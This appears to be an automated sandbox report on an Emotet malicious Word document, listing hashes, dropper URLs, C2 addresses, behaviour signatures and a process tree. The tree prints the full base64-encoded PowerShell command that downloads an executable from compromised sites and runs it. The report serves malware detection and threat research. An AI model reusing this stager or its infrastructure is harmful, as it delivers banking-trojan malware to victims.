emotet | 7aee3145ff460dd5b1479fbbc82d32f347ccaf575848d8f5c5d9ab205913530e

General

Target
BAL_30391617.doc
Size 172KB
Sample200730-m2df97tt8s
SHA256 7aee3145ff460dd5b1479fbbc82d32f347ccaf575848d8f5c5d9ab205913530e
MD5 5d077217afd2c1e7f5aacb0c124a7951
SHA1 fe3f9e479e63e6b9d51fd061a2de17ec7a90f40f
SHA512 a965c10821e5a5705de487131ef7e834c0c75886de91a92303bcf7067bf0c8e05c8c997a9f40a48ce4af9654e159bc5fe9b136b6186c460fd7a6e299104d33fe
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://amventas.com/public/iu1c_vtucu_ruec/
exe.dropper
http://www.cotrafina.com/wp-content/xrmq_7ug_ttv/
exe.dropper
http://webappbr.com/wp-admin/ha_s5_3wf/
exe.dropper
http://whatsappsenderpro.com/Videos/4wl_0q0m_g61c3/
exe.dropper
http://bartboutens.nl/wp-admin/no77z_k3_azs/

Extracted

Family

emotet

C2

47.146.117.214:80
62.108.54.22:8080
212.51.142.238:8080
190.160.53.126:80
87.106.136.232:8080
74.208.45.104:8080
121.124.124.40:7080
124.45.106.173:443
76.27.179.47:80
210.165.156.91:80
61.19.246.238:443
81.2.235.111:8080
169.239.182.217:8080
181.230.116.163:80
139.130.242.43:80
46.105.131.87:80
139.59.60.244:8080
222.214.218.37:4143
41.60.200.34:80
200.55.243.138:8080
24.234.133.205:80
190.55.181.54:443
189.212.199.126:443
93.156.165.186:80
62.138.26.28:8080
62.75.141.82:80
176.111.60.55:8080
168.235.67.138:7080
109.117.53.230:443
5.196.74.210:8080
162.154.38.103:80
152.168.248.128:443
83.110.223.58:443
95.9.185.228:443
180.92.239.110:8080
209.141.54.221:8080
37.187.72.193:8080
113.160.130.116:8443
85.59.136.180:8080
79.98.24.39:8080
91.231.166.124:8080
185.94.252.104:443
108.48.41.69:80
95.179.229.244:8080
71.208.216.10:80
93.51.50.171:8080
78.24.219.147:8080
24.179.13.119:80
200.41.121.90:80
153.126.210.205:7080
104.236.246.93:8080
46.105.131.79:8080
201.173.217.124:443
50.116.86.205:8080
116.203.32.252:8080
157.245.99.39:8080
109.74.5.95:8080
203.153.216.189:7080
87.106.139.101:8080
137.59.187.107:8080
110.145.77.103:80
47.153.182.47:80
95.213.236.64:8080
24.43.99.75:80
209.182.216.177:443
173.91.22.41:80
5.39.91.110:7080
75.139.38.211:80
91.211.88.52:7080
37.139.21.175:8080
162.241.92.219:8080
104.131.11.150:443
70.167.215.250:8080
104.131.44.150:8080
103.86.49.11:8080
65.111.120.223:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
408	WINWORD.EXE
408	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3608	420	powersheLL.exe	67

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3608	powersheLL.exe
3608	powersheLL.exe
3608	powersheLL.exe
3888	typeperf.exe
3888	typeperf.exe
3888	typeperf.exe
3888	typeperf.exe

Executes dropped EXE 2 IoCs

pid	Process
2860	684.exe
3888	typeperf.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2860 wrote to memory of 3888	2860	684.exe	79
PID 2860 wrote to memory of 3888	2860	684.exe	79
PID 2860 wrote to memory of 3888	2860	684.exe	79

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Windows.ApplicationModel.LockScreen\typeperf.exe	684.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
2860	684.exe
3888	typeperf.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3608	powersheLL.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
23	3608	powersheLL.exe

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2860-9-0x0000000000610000-0x000000000061C000-memory.dmp	emotet
behavioral2/memory/3888-12-0x0000000000480000-0x000000000048C000-memory.dmp	emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\BAL_30391617.doc" /o ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
PID:408

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABXAEkAUQBPAFAAaQB5AHYAPQAnAFYARABTAEoASwBqAG8AZgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBDAHUAcgBJAFQAYABZAGAAcAByAG8AdABgAG8AQwBgAG8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEYATABXAEoAUgBjAGYAZAAgAD0AIAAnADYAOAA0ACcAOwAkAFgAWQBPAFgASABtAG8AbwA9ACcARABNAFQAQgBYAHkAYwBtACcAOwAkAFkARwBDAEcAQgB6AG4AbwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARgBMAFcASgBSAGMAZgBkACsAJwAuAGUAeABlACcAOwAkAEsAUgBVAEgARgByAHMAbAA9ACcAVwBBAE4AVgBNAGsAZgBmACcAOwAkAEsAVQBBAEoARQBtAGQAeQA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwAnACsAJwBiAGoAZQBjAHQAJwApACAATgBlAFQALgB3AEUAYgBDAEwAaQBlAE4AVAA7ACQARQBaAE4ASwBWAGYAdABhAD0AJwBoAHQAdABwADoALwAvAGEAbQB2AGUAbgB0AGEAcwAuAGMAbwBtAC8AcAB1AGIAbABpAGMALwBpAHUAMQBjAF8AdgB0AHUAYwB1AF8AcgB1AGUAYwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGMAbwB0AHIAYQBmAGkAbgBhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AeAByAG0AcQBfADcAdQBnAF8AdAB0AHYALwAqAGgAdAB0AHAAOgAvAC8AdwBlAGIAYQBwAHAAYgByAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBoAGEAXwBzADUAXwAzAHcAZgAvACoAaAB0AHQAcAA6AC8ALwB3AGgAYQB0AHMAYQBwAHAAcwBlAG4AZABlAHIAcAByAG8ALgBjAG8AbQAvAFYAaQBkAGUAbwBzAC8ANAB3AGwAXwAwAHEAMABtAF8AZwA2ADEAYwAzAC8AKgBoAHQAdABwADoALwAvAGIAYQByAHQAYgBvAHUAdABlAG4AcwAuAG4AbAAvAHcAcAAtAGEAZABtAGkAbgAvAG4AbwA3ADcAegBfAGsAMwBfAGEAegBzAC8AJwAuACIAUwBgAHAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAEwASgBCAEIAdQBxAHMAPQAnAEIAQwBWAEwASQB3AGcAdQAnADsAZgBvAHIAZQBhAGMAaAAoACQATgBEAFYARwBCAHIAegB2ACAAaQBuACAAJABFAFoATgBLAFYAZgB0AGEAKQB7AHQAcgB5AHsAJABLAFUAQQBKAEUAbQBkAHkALgAiAEQAbwB3AGAATgBMAGAATwBBAGQAZgBpAGAATABlACIAKAAkAE4ARABWAEcAQgByAHoAdgAsACAAJABZAEcAQwBHAEIAegBuAG8AKQA7ACQARgBRAFQAVwBGAHYAbQByAD0AJwBVAEgAQQBKAFYAcwBkAHUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABZAEcAQwBHAEIAegBuAG8AKQAuACIATABlAE4AYABHAFQAaAAiACAALQBnAGUAIAAyADAAOAA5ADIAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQB0AEUAIgAoACQAWQBHAEMARwBCAHoAbgBvACkAOwAkAEkAUQBBAFEATgB2AHEAagA9ACcATABTAFIATwBSAGoAYQBvACcAOwBiAHIAZQBhAGsAOwAkAEwARwBOAFAASgBmAHcAawA9ACcAUwBHAEMASABOAHYAaQBsACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEYAWgBGAEIATwBtAGgAZgA9ACcAQwBTAEkAWgBWAGQAYgBpACcA
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
PID:3608

C:\Users\Admin\684.exe
C:\Users\Admin\684.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:2860
- C:\Windows\SysWOW64\Windows.ApplicationModel.LockScreen\typeperf.exe
  "C:\Windows\SysWOW64\Windows.ApplicationModel.LockScreen\typeperf.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:3888

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/408-2-0x0000014BC7EDB000-0x0000014BC7EE9000-memory.dmp

Download

memory/408-3-0x0000014BC7EE9000-0x0000014BC7EF4000-memory.dmp

Download

memory/2860-9-0x0000000000610000-0x000000000061C000-memory.dmp

Download

memory/3888-12-0x0000000000480000-0x000000000048C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads